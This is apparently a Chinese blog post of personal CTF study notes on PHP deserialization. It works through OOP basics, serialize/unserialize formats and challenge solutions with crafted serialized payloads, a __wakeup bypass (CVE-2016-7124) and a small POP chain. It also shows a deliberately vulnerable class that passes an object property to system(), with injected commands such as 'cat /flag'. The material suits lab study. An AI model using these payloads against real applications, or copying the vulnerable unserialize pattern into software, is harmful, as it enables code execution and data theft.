617 字
2 分钟
什么?26年还在学古法吗
最近AI用多了 还得是回归古法
这篇博客记录一下最近重学(以前学的不熟)的东西
会持续更新。。。写到哪算到哪 最近还是很累的
Web
反序列化
以前做题时候看过的博客:深度剖析PHP序列化和反序列化 - 悠悠uusama - 博客园 写的挺好的
1.PHP面向对象基础
<?php
#类 - 实例#class sample 就像一个模板#模板上画好了三个空位:name、sex、telenumberclass sample{ #属性 访问修饰符+属性名 public $name; #public:谁都能直接看、直接改 private $sex; #private:#只有自己才能碰,外部和子类都不能直接访问 protected $telenumber; #protected:自己和自己的子类能碰
#函数 public function Ciallo(){ echo "uzcssw" . $this->name; } #Ciallo() 就是一个 动作:把字符串 "uzcssw" 和当前这个人的名字拼在一起输出。
#魔术 #构造函数 出生就自动填好的信息 自动化触发 public function __construct($n, $s, $t) { $this->name = "$n"; $this->sex = $s; $this->telenumber = $t; }
#析构函数 销毁前说的最后一句话 #实例回收/销毁时候自动调用 (page执行结束时候) public function __destruct() { echo "ciallo..."; } #当一个对象不再使用(比如脚本结束)时,会自动说一句 "ciallo..."。}
#继承class sample1 extends sample{ public function accessCiallo(){ echo $this->telenumber; }#sample1 extends sample 意思是 sample1 是 sample 的“儿子”#它拥有老爸的所有东西:name、sex、telenumber、Ciallo()、__construct、__destruct}
#实例-(容纳具体信息的类)$test = new sample("UZC1", "男", "13800138000"); #实例化$test->name = "UZC1"; # 访问+修改内容$test->Ciallo(); #调用$s1 = new sample1("UZC2", "女", "13912345678");$s1->Ciallo(); // 输出 uzcsswUZC2$s1->accessCiallo(); // 输出 13912345678 (可访问 protected 属性)>2.序列化和反序列化
- 序列化 = 把对象打包成字符串,方便存储和传输。
- 反序列化 = 把字符串还原成活的对象。
序列化
// 原来的对象$test = new sample("UZC1", "男", "13800138000");
// 序列化:变成字符串$str = serialize($test);echo $str;运行后会输出类似这样的字符串:
O:6:"sample":3:{s:4:"name";s:4:"UZC1";s:8:"sample sex";s:3:"男";s:16:"sample telenumber";s:11:"13800138000";}O:6:"sample"— 对象(O),类名6个字符sample3— 3 个属性- 接着是每个属性的序列化:
s:4:"name";属性名是长度4的字符串names:4:"UZC1";属性值是UZC1- 对于
private属性$sex,名字会被加上类名前缀(这里显示sample sex) protected属性$telenumber则会加*和类名前缀
注意:虽然
private和protected在类外不能直接访问,但序列化时它们的值照样会被存进去,并且能从字符串里看到。所以敏感信息要小心!
反序列化
// 假设我们拿到了上面的序列化字符串$str = 'O:6:"sample":3:{s:4:"name";s:4:"UZC1";s:8:"sample sex";s:3:"男";s:16:"sample telenumber";s:11:"13800138000";}';$newObj = unserialize($str);
// 现在 $newObj 就是个活的对象,和刚才的 $test 一样$newObj->Ciallo(); // 输出 uzcsswUZC1echo $newObj->name; // UZC1再偏CTF一点
CTF 中通常会故意在魔术方法里放一个危险操作,比如 eval()、system()、file_get_contents() 等,并且这个危险操作会用到对象的某个属性。
比如:
class sample{ public $name; private $sex; protected $telenumber;
public function __destruct(){ system($this->name); //这里直接执行了 $name 作为系统命令 }}正常你 new sample("UZC1", "男", "13333333333") 是通过构造参数赋值的,$name 是 "UZC1"。
但通过反序列化,可以把 $name 直接改成 “whoami” 甚至 “cat /flag”,而且根本不需要通过构造函数。
操作就是:
- 写一个恶意的序列化字符串
- 让目标程序去
unserialize它 - 当这个被污染的对象销毁时,
__destruct执行system("cat /flag")
最基础的反序列化例题:
<?phphighlight_file(__FILE__);
class NSS { var $name;
function __destruct() { if ($this->name === 'ctf') { echo getenv('FLAG'); } }}
unserialize($_GET['n']);name的值=ctf就可以拿到flag
<?phphighlight_file(__FILE__);
class NSS { var $name;
function __destruct() { if ($this->name === 'ctf') { echo getenv('FLAG'); } }}
$nss= new NSS();$nss->name='ctf';echo serialize($nss);payload:
?n=O:3:"NSS":1:{s:4:"name";s:3:"ctf";}属性修饰符
<?phphighlight_file(__FILE__);
class NSS { private $name; protected $url;
function __destruct() { if ($this->name === 'ctf' && $this->url === 'nss') { echo getenv('FLAG'); } }}
unserialize($_GET['n']);反序列化:
<?phphighlight_file(__FILE__);
class NSS { private $name = 'ctf'; protected $url = 'nss';
}
$nss= new NSS();echo serialize($nss);payload
O:3:"NSS":2:{s:9:"\0NSS\0name";s:3:"ctf";s:6:"\0*\0url";s:3:"nss";}注意不能丢\0只用 serialize() 而没有用 urlencode() 保护,传输过程中可能丢失。所以可以换种写法<?php
class NSS{ private $name = 'ctf'; protected $url = 'nss';}
$nss= new NSS();echo urlencode(serialize($nss));
这样就会输出urlencode后的payload:O%3A3%3A%22NSS%22%3A2%3A%7Bs%3A9%3A%22%00NSS%00name%22%3Bs%3A3%3A%22ctf%22%3Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A3%3A%22nss%22%3B%7D拿到flag
__wakeup
<?phphighlight_file(__FILE__);
class NSS { var $name;
function __wakeup() { $this->name = '1'; }
function __destruct() { if ($this->name === 'ctf') { echo getenv('FLAG'); } }}
unserialize($_GET['n']);构造
<?php
class NSS { var $name='ctf';}
$nss= new NSS();echo serialize($nss);这样运行出来结果是:
O:3:"NSS":1:{s:4:"name";s:3:"ctf";}想要绕过__wakeup只需要把
O:3:"NSS":1:{s:4:"name";s:3:"ctf";} 改成O:3:"NSS":2:{s:4:"name";s:3:"ctf";}
原理是CVE-2016-7124
拿到flag NSSCTF{2b7bf434-b859-43cb-9b2d-d3286c20d3fa}
POP链
<?phphighlight_file(__FILE__);
class NSS1 { var $name;
function __destruct() { echo $this->name; }}
class NSS2 { var $name;
function __toString() { echo getenv('FLAG'); }}
unserialize($_GET['n']);构造:
<?php
class NSS1 { var $name;}
class NSS2 { var $name;}
$a = new NSS1();$b = new NSS2();$a->name= $b;echo serialize($a);输出payload:
O:4:"NSS1":1:{s:4:"name";O:4:"NSS2":1:{s:4:"name";N;}}拿到flag
在这个题里:
NSS1的__destruct有echo $this->name,如果name是普通字符串,它只是输出字符串;但如果name是一个NSS2对象,那么echo就会触发NSS2的__toString(),从而执行getenv('FLAG')。- 所以必须让
$a->name = $b,将NSS2对象装入NSS1对象,形成链条。
Misc
图片隐写
等待施工
音频隐写
等待施工
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
什么?26年还在学古法吗
http://blog.azkanna.cn/posts/古法/古法记录/ 部分信息可能已经过时
相关文章 智能推荐












